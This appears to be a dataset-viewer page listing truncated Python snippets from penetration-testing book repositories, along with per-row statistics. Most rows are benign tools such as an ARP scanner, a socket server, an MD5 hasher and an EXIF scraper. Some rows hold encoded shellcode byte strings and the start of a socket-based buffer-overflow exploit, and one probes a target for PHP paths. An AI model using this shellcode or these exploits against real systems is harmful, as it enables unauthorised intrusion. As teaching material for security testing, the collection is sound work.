LPORT1433 += "\xd9\x74\x24\xf4\xbd\x24\x8b\x25\x21\x58\x29\xc9"
LPORT1433 += "\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x4c\x98\xc7"
LPORT1433 += "\xd4\x70\x76\x85\x17\x88\x87\xea\... | 40.903226 | 78 | 0.680786 |
cybersecurity-penetration-testing | import httplib
import shelve
url = raw_input("Enter the full URL ")
url1 =url.replace("http://","")
url2= url1.replace("/","")
s = shelve.open("mohit.raj",writeback=True)
for u in s['php']:
a = "/"
url_n = url2+a+u
print url_n
http_r = httplib.HTTPConnection(url2)
u=a+u
http_r.request("GET",u)
reply = http_r.ge... | 19.48 | 43 | 0.606654 |
PenetrationTestingScripts | """Convenient HTTP UserAgent class.
This is a subclass of urllib2.OpenerDirector.
Copyright 2003-2006 John J. Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it under
the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt
included with the distribution).
"""
impor... | 37.894022 | 79 | 0.617174 |
cybersecurity-penetration-testing | import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
while True:
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()
| 20.25 | 53 | 0.700787 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
interface = "en0"
ip_rage = "192.168.1.1/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
conf.verb = 0
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = ip_rage), timeout =2, iface=interface, inter=0.1)
for send,recive in ans:
print (recive.sprintf(r"%Ether.src% - %ARP.psrc%")) | 26.272727 | 101 | 0.682274 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/python
# -*- coding: utf-8 -*-
import hashlib
message = raw_input("Enter the string you would like to hash: ")
md5 = hashlib.md5(message.encode())
print (md5.hexdigest())
| 17.6 | 64 | 0.675676 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: ssh_login.py
Purpose: To scan a network for a ssh port and automatically generate a resource file for Metasploit.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without ... | 39.822695 | 239 | 0.646568 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
buf = ""
buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf"
buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d"
buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\... | 35.885246 | 61 | 0.650956 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import optparse
from urlparse import urlsplit
from os.path import basename
from bs4 import BeautifulSoup
from PIL import Image
from PIL.ExifTags import TAGS
def findImages(url):
print '[+] Finding images on ' + url
urlContent = urllib2.urlopen(url).read... | 23.802817 | 54 | 0.580682 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.